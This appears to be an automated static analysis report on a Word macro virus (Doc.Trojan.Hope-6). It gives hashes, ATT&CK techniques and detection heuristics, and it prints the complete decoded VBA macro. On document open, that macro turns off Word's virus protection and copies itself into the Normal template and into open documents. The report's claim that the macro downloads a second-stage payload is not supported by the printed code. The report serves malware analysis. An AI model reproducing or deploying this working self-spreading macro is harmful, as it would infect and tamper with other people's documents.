Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7dc7043cd46ca000…

MALICIOUS

Office (OLE)

35.0 KB Created: 1999-09-08 22:02:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b73a4a8b7e644668246a6aea52eeb1a2 SHA-1: 65e3ba8a715d161fb05e2aabe14f79638f6d032e SHA-256: 7dc7043cd46ca000704a6e9b63382dcfc7fdaaeac7abf188684626a1646cf5e6
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a critical ClamAV detection for 'Doc.Trojan.Hope-6' and an extracted artifact also detected by ClamAV. The VBA macro 'Document_Open' is present and attempts to modify the document's code by deleting existing lines and adding new ones from a variable 'VM'. This suggests the macro is designed to download and execute a second-stage payload or alter the document's behavior.

Heuristics 4

  • ClamAV: Doc.Trojan.Hope-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hope-6
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 963 bytes
SHA-256: cc97655dab3ac59a9574b2cb34e5c21e5e4c0f2501beb91d2d88c655a2af4b5a
Detection
ClamAV: Win.Trojan.W-420
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Options.ConfirmConversions = 0
If ThisDocument = NormalTemplate Then
Set TI = ActiveDocument
Else
Set TI = NormalTemplate
End If
VM = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
With TI.VBProject.VBComponents.Item(1).CodeModule
.DeleteLines 1, .CountOfLines
.AddFromString VM
End With
If TI = ActiveDocument Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If Month(Now) = 12 And Day(Now) = 25 Then MsgBox "The Lord Is My Father... Jesus My Savior"
End Sub 'May God Have Mercy On Your Soul, Lys Kovick!

Open this report in the interactive analyzer, or submit your own file for analysis.